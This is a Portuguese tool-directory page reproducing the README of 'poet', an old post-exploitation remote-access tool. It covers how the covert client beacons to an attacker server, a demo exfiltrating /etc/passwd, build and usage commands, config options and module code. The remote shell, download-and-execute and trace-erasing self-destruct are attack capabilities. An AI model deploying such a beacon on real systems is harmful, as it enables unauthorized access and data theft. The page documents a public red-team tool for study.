Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
poet — [não mantido] Ferramenta de pós-exploração | Kitploit
Ferramentas/GitHubGitHub/offlinemark/poet
ReconhecimentoGeração de PayloadsExfiltração de DadosPós-ExploraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHubofflinemark/poet

poet

[não mantido] Ferramenta de pós-exploração

Ver Repositório
18150há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

poet

Uma simples ferramenta de Pós-Exploração.

visão geral

O programa cliente é executado na máquina alvo e é configurado com um endereço IP (o servidor) para se conectar e uma frequência de conexão. Se o servidor não estiver em execução quando o cliente tentar se conectar, o cliente aguarda silenciosamente e tenta novamente no próximo intervalo. Se o servidor estiver em execução, no entanto, o atacante obtém um shell de controle para controlar o cliente e realizar várias ações no alvo, incluindo:

  • reconhecimento
  • shell remoto
  • exfiltração de arquivos
  • download e execução
  • autodestruição

demonstração

Esta é apenas uma pequena amostra do que o Poet pode fazer. O cenário é: um atacante obteve acesso à máquina da vítima e baixou e executou o cliente. Ela não está executando o servidor neste momento, mas não tem problema, o cliente espera pacientemente. Eventualmente, o atacante está pronto e inicia o servidor, primeiro iniciando um shell e executando uname -a, depois exfiltrando /etc/passwd. Em seguida, sai e se desconecta do cliente, que continua executando no alvo aguardando a próxima oportunidade de se conectar ao servidor. Mais tarde, ela se conecta novamente, autodestruindo o cliente, removendo todos os vestígios do alvo.

Máquina da Vítima (5.4.3.2):

root@kitploit:~
$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

Aviso: Após executar este comando, você precisará executar selfdestruct a partir do servidor ou encerrar o processo poet-client para parar o cliente.

Máquina do Atacante (1.2.3.4):

root@kitploit:~
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

primeiros passos

Acesse a página de releases e baixe os arquivos mais recentes de poet-client e poet-server disponíveis.

Em seguida, vá para a seção Uso abaixo.

Alternativamente, você pode compilar o Poet você mesmo (é bem fácil, veja abaixo).

compilação

Certifique-se de ter os executáveis python2.7 e zip disponíveis.

root@kitploit:~
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

Isso criará um diretório bin/ que contém poet-client e poet-server.

uso

Poet é super fácil de usar e não requer nada além da biblioteca padrão do Python (2.7). Para testá-lo facilmente, uma invocação típica seria:

Terminal 1:

root@kitploit:~
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

Por padrão, o cliente Poet se torna um daemon e se exclui do disco, então esse comportamento é suprimido usando as flags --debug e --no-selfdestruct.

Terminal 2:

root@kitploit:~
$ sudo ./poet-server

Por padrão, o servidor precisa ser executado como root (usando sudo) porque a porta padrão à qual ele se liga é 443. Se isso te incomoda, simplesmente omita sudo e use a flag -p <PORT> tanto no cliente quanto no servidor. Escolha um número alto para sua porta (> 1024).

configuração

O arquivo common/config.py contém várias configurações opcionais para compilações do Poet.

  • AUTH: Token de autenticação secreto compartilhado entre cliente e servidor para autenticação do cliente. Observe que o padrão é qualquer coisa menos secreto. Para qualquer uso que não seja de teste, é recomendável alterá-lo para um valor não adivinhável. Observe que os pacotes pré-construídos usam o token de autenticação público padrão.
  • ARCHIVE_DIR: Diretório usado pelo servidor para armazenar arquivos (saída de exec, exfil, recon, etc).
  • SERVER_IP: Endereço IP do servidor.
  • BEACON_INTERVAL: Segundos entre beacons do cliente para o servidor.

As configurações SERVER_IP e BEACON_INTERVAL permitem que informações anteriormente necessárias em argumentos de linha de comando sejam incorporadas nos executáveis finais, de modo que o executável final possa simplesmente ser executado sem argumentos. Valores None para qualquer um deles faz com que revertam ao comportamento padrão (argumento de linha de comando necessário para SERVER_IP, argumento de linha de comando opcional para BEACON_INTERVAL).

cliente

root@kitploit:~
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet é uma aplicação cliente/servidor. O cliente é executado no alvo e envia beacons de volta para o servidor em um determinado intervalo de tempo. O único argumento necessário é o endereço IP onde o servidor está ou estará em execução. Opcionalmente, pode ser seguido pelo intervalo de tempo em segundos de quão frequentemente enviar beacons, que por padrão é de 10 minutos. A porta para o cliente enviar beacons pode ser especificada com a flag -p. Todas as outras flags não seriam usadas durante o uso "real" e existem principalmente para depuração.

servidor

root@kitploit:~
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

O servidor é executado na própria máquina do usuário e escuta por beacons do cliente. Por padrão, ele escuta em uma porta privilegiada (443) e deve ser executado com privilégios (que são rapidamente descartados após a ligação). A flag -p pode ser usada para contornar isso selecionando uma porta não privilegiada para escutar (>1024).

extensibilidade

Poet é altamente extensível através de seu framework de módulos; na verdade, quase todos os comandos disponíveis no shell posh são implementados como módulos. Eles podem ser visualizados no diretório common/modules/. O arquivo common/modules/template.py serve como um exemplo básico de módulo, para ser usado como ponto de partida. Para adicionar um módulo Poet, basta colocá-lo no diretório common/modules/ e recompilar o Poet usando make.

Aqui está um exemplo simples de módulo mostrando comunicação básica entre o cliente e o servidor. O módulo registra um comando posh, envia uma string, o cliente a inverte e a envia de volta, e o servidor a imprime.

root@kitploit:~
# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

O módulo começa com

root@kitploit:~
import module

Isso é necessário para se registrar no framework de módulos.

A próxima seção é o componente do lado do servidor do módulo.

root@kitploit:~
@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

O decorador @module.server_handler() é usado para registrar um comando posh passando o nome do comando como parâmetro do decorador e definindo uma função de tratamento para executar quando o comando é executado. A função de tratamento deve aceitar dois parâmetros. Um é a instância do PoetServer que chamou o módulo, e o outro é a string de comando inserida, representada como uma lista de argumentos. A instância do servidor existe para que o módulo possa usar funções auxiliares para se comunicar com o cliente, escrever arquivos no diretório de arquivamento, etc. O módulo usa server.conn.exchange() para enviar a linha de comando inserida como uma string para o cliente e obter a resposta como valor de retorno.

O componente do lado do cliente do módulo vem a seguir.

root@kitploit:~
@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

O decorador @module.client_handler() é usado para registrar uma tarefa para o cliente reagir e processar. Como o cliente e o servidor se comunicam passando strings entre si, a primeira parte da string é a palavra-chave para uma tarefa específica. O módulo registra uma função de tratamento do cliente para executar quando uma mensagem chega do servidor começando com 'reverse'. Semelhante ao tratamento do servidor, o tratamento do cliente deve aceitar parâmetros para a instância do PoetClient que o chamou e a string de entrada passada do servidor. O cliente então usa a função client.s.send() para enviar dados de volta ao servidor, neste caso, o primeiro argumento, invertido.

Na prática, fica assim

root@kitploit:~
posh > reverse poet
Sending: poet
Received: teop

preocupações

Preocupações documentadas:

  • falta de comunicações criptograficamente protegidas
  • beacons em intervalos baixos são ruidosos e geram TCP RSTs quando o servidor está inativo
  • o comando shell não é um shell "real" e não suporta a maioria dos builtins encontrados em shells padrão

aviso legal

Estou construindo o Poet puramente para minha própria educação e experiência de aprendizado. O código está disponível gratuitamente porque acho que pode ser útil para outros interessados em aprender sobre esse tipo de coisa. Use-o com responsabilidade.

Baixar ferramenta